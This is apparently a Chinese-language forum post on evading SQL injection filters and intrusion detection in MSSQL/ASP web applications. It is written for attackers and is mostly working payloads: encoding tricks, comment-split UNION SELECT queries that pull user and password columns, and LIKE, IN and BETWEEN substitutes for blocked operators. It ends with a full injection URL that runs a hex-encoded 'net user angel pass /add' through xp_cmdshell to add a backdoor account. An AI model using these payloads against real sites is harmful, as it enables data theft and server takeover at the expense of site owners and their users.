經過我的收集，大部分的防注入程序都過濾了以下關鍵字：
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
而這裏最難處理的就是select這個關鍵字了，那麼我們怎樣來突破他們呢？問題雖未完全解決，但還是說出來與大家分享一下，希望能拋磚引玉。
對於關鍵字的過濾，以下是我收集的以及我個人的一些想法。
1、運用編碼技術繞過
如URLEncode編碼，ASCII編碼繞過。例如or 1=1即
%6f%72%20%31%3d%31，而Test也可以爲CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
2、通過空格繞過
如兩個空格代替一個空格，用Tab代替空格等，或者刪除所有空格，如
or' swords' =‘swords'
，由於mssql的鬆散性，我們可以把or 'swords' 之間的空格去掉，並不影響運行。
3、運用字符串判斷代替
用經典的or 1=1判斷繞過,如
or 'swords' ='swords'
，這個方法就是網上在討論的。
4、通過類型轉換修飾符N繞過
可以說這是一個不錯的想法，他除了能在某種程度上繞過限制，而且還有別的作用，大家自己好好想想吧。關於利用，如or 'swords' = N' swords' ，大寫的N告訴mssql server 字符串作爲nvarchar類型，它起到類型轉換的作用，並不影響注射語句本身，但是可以避過基於知識的模式匹配IDS。
5、通過+號拆解字符串繞過
效果值得考證，但畢竟是一種方法。如
or 'swords' =‘sw' +' ords' ；EXEC(‘IN' +' SERT INTO '+' …..' )
6、通過LIKE繞過
以前怎麼就沒想到呢？如or
'swords' LIKE 'sw'
！！！顯然可以很輕鬆的繞過
“=”“>”
的限制……
7、通過IN繞過
與上面的LIKE的思路差不多,如
or 'swords' IN ('swords')
8、通過BETWEEN繞過
如
or 'swords' BETWEEN 'rw' AND 'tw'
9、通過>或者<繞過
or 'swords' > 'sw'
or 'swords' < 'tw'
or 1<3
……
10、運用註釋語句繞過
用/**/代替空格，如：
UNION /**/ Select /**/user，pwd，from tbluser
用/**/分割敏感詞，如：
U/**/ NION /**/ SE/**/ LECT /**/user，pwd from tbluser
11、用HEX繞過，一般的IDS都無法檢測出來
0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)
另外，關於通用點的過濾方法，我們可以考慮採用賦值的方法，例如先聲明一個變量a，然後把我們的指令賦值給a，然後調用變量a最終執行我們輸入的命令。變量a可以是任何命令。如下：
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a
效果
http://www.XXX.com/show.asp?id=1;declare%20@a% 20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--
其中的
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
就是
“net user angel pass /add”
的意思。http://www.hookbase.com/Article/List_108.html